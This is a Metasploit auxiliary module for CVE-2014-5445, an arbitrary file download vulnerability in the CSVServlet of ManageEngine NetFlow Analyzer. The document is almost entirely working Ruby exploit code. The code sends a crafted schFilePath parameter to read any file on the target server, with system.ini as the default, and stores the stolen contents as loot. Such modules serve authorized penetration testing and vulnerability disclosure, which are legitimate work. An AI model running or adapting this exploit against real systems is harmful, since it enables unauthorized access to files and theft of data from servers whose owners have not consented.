ManageEngine NetFlow Analyzer Arbitrary File Download

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ManageEngine NetFlow Analyzer Arbitrary File Download',  
'Description' => %q{  
This module exploits an arbitrary file download vulnerability in CSVServlet  
on ManageEngine NetFlow Analyzer. This module has been tested on both Windows  
and Linux with versions 8.6 to 10.2. Note that when typing Windows paths, you  
must escape the backslash with a backslash.  
},  
'Author' => [  
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2014-5445' ],  
[ 'OSVDB', '115340' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2014/Dec/9' ],  
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_netflow_it360_file_dl.txt' ]  
],  
'DisclosureDate' => '2014-11-30'  
)  
)  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI',  
[ true, 'The base path to NetFlow Analyzer', '/netflow' ]),  
OptString.new('FILEPATH', [true, 'Path of the file to download', 'C:\\windows\\system.ini']),  
]  
)  
end  
  
def run  
# Create request  
begin  
print_status("Downloading file #{datastore['FILEPATH']}")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', 'CSVServlet'),  
'vars_get' => { 'schFilePath' => datastore['FILEPATH'] }  
})  
rescue Rex::ConnectionError  
print_error('Could not connect.')  
return  
end  
  
# Show data if needed  
if res && res.code == 200  
if res.body.to_s.bytesize == 0  
print_error('0 bytes returned, file does not exist or it is empty.')  
return  
end  
vprint_line(res.body.to_s)  
fname = File.basename(datastore['FILEPATH'])  
  
path = store_loot(  
'netflow.http',  
'application/octet-stream',  
datastore['RHOST'],  
res.body,  
fname  
)  
print_good("File saved in: #{path}")  
else  
print_error('Failed to download file.')  
end  
end  
end  
`